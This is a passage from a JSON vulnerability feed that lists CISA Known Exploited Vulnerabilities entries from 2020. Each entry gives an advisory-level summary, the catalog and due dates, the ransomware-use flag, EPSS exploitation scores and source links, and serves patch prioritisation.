10. For systems running Windows 10, an attacker who successfully exploited the vulnerability could execute code in an AppContainer sandbox context with limited privileges and capabilities.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.6895,"percentile":0.99345,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0938&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0938","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0938 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0938&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0938, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0968","cveId":"CVE-2020-0968","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability due to how the Scripting Engine handles objects in memory, leading to remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30676,"percentile":0.98231,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0968&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0968","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0968 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0968&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0968, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0986","cveId":"CVE-2020-0986","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"Microsoft Windows kernel contains an unspecified vulnerability when handling objects in memory that allows attackers to escalate privileges and execute code in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16405,"percentile":0.96955,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0986","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0986 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-10148","cveId":"CVE-2020-10148","aliases":[],"kind":"vulnerability","title":"SolarWinds Orion Authentication Bypass Vulnerability","summary":"SolarWinds Orion API contains an authentication bypass vulnerability that could allow a remote attacker to execute API commands.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Orion","stacks":["SolarWinds","Orion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9198,"percentile":0.99819,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-10148&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-10148","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-10148 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-10148&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-10148, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-10181","cveId":"CVE-2020-10181","aliases":[],"kind":"vulnerability","title":"Sumavision EMR Cross-Site Request Forgery (CSRF) Vulnerability","summary":"Sumavision Enhanced Multimedia Router (EMR) contains a cross-site request forgery (CSRF) vulnerability allowing the creation of users with elevated privileges as administrator on a device.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Sumavision","product":"Enhanced Multimedia Router (EMR)","stacks":["Sumavision","Enhanced Multimedia Router (EMR)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14938,"percentile":0.96681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-10181&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-10181","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-10181 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-10181&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-10181, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-10189","cveId":"CVE-2020-10189","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine Desktop Central File Upload Vulnerability","summary":"Zoho ManageEngine Desktop Central contains a file upload vulnerability that allows for unauthenticated remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine","stacks":["Zoho ManageEngine","Zoho","ManageEngine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99941,"percentile":0.99972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-10189&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-10189","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-10189 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-10189&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-10189, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-10199","cveId":"CVE-2020-10199","aliases":[],"kind":"vulnerability","title":"Sonatype Nexus Repository Remote Code Execution Vulnerability","summary":"Sonatype Nexus Repository contains an unspecified vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Sonatype","product":"Nexus Repository","stacks":["Sonatype","Nexus Repository"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99064,"percentile":0.99932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-10199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-10199","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-10199 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-10199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-10199, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1020","cveId":"CVE-2020-1020","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability","summary":"Microsoft Windows Adobe Font Manager Library contains an unspecified vulnerability when handling specially crafted multi-master fonts (Adobe Type 1 PostScript format) that allows for remote code execution for all systems except Windows 10. For systems running Windows 10, an attacker who successfully exploited the vulnerability could execute code in an AppContainer sandbox context with limited privileges and capabilities.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65037,"percentile":0.99244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1020&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1020","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1020 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1020&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1020, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-10221","cveId":"CVE-2020-10221","aliases":[],"kind":"vulnerability","title":"rConfig OS Command Injection Vulnerability","summary":"rConfig lib/ajaxHandlers/ajaxAddTemplate.php contains an OS command injection vulnerability that allows remote attackers to execute OS commands via shell metacharacters in the fileName POST parameter.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"rConfig","product":"rConfig","stacks":["rConfig"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77123,"percentile":0.99548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-10221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-10221","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-10221 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-10221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-10221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1040","cveId":"CVE-2020-1040","aliases":[],"kind":"vulnerability","title":"Microsoft Hyper-V RemoteFX vGPU Remote Code Execution Vulnerability","summary":"Microsoft Hyper-V RemoteFX vGPU contains an improper input validation vulnerability due to the host server failing to properly validate input from an authenticated user on a guest operating system. Successful exploitation allows for remote code execution on the host operating system.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Hyper-V RemoteFX","stacks":["Hyper-V","Microsoft","Hyper-V RemoteFX"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07393,"percentile":0.94384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1040","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1040 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1054","cveId":"CVE-2020-1054","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains a privilege escalation vulnerability when the Windows kernel-mode driver fails to properly handle objects in memory. Successful exploitation allows an attacker to execute code in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53878,"percentile":0.98993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1054&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1054","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1054 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1054&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1054, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-10987","cveId":"CVE-2020-10987","aliases":[],"kind":"vulnerability","title":"Tenda AC1900 Router AC15 Model Remote Code Execution Vulnerability","summary":"Tenda AC1900 Router AC15 Model contains an unspecified vulnerability that allows remote attackers to execute system commands via the deviceName POST parameter.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Tenda","product":"AC1900 Router AC15 Model","stacks":["Tenda","AC1900 Router AC15 Model"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7981,"percentile":0.99606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-10987&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-10987","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-10987 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-10987&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-10987, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1147","cveId":"CVE-2020-1147","aliases":[],"kind":"vulnerability","title":"Microsoft .NET Framework, SharePoint, and Visual Studio Remote Code Execution Vulnerability","summary":"Microsoft .NET Framework, Microsoft SharePoint, and Visual Studio contain a remote code execution vulnerability when the software fails to check the source markup of XML file input. Successful exploitation allows an attacker to execute code in the context of the process responsible for deserialization of the XML content.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":".NET Framework, SharePoint, Visual Studio","stacks":["Microsoft SharePoint",".NET","Visual Studio","Microsoft",".NET Framework, SharePoint, Visual Studio"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93966,"percentile":0.99844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1147","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1147 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-11651","cveId":"CVE-2020-11651","aliases":[],"kind":"vulnerability","title":"SaltStack Salt Authentication Bypass Vulnerability","summary":"SaltStack Salt contains an authentication bypass vulnerability in the salt-master process ClearFuncs due to improperly validating method calls. The vulnerability allows a remote user to access some methods without authentication, which can be used to retrieve user tokens from the salt master and/or run commands on salt minions. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SaltStack","product":"Salt","stacks":["SaltStack","Salt"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96614,"percentile":0.99883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-11651&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-11651","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-11651 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-11651&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-11651, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-11652","cveId":"CVE-2020-11652","aliases":[],"kind":"vulnerability","title":"SaltStack Salt Path Traversal Vulnerability","summary":"SaltStack Salt contains a path traversal vulnerability in the salt-master process ClearFuncs which allows directory access to authenticated users. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SaltStack","product":"Salt","stacks":["SaltStack","Salt"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86178,"percentile":0.99729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-11652&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 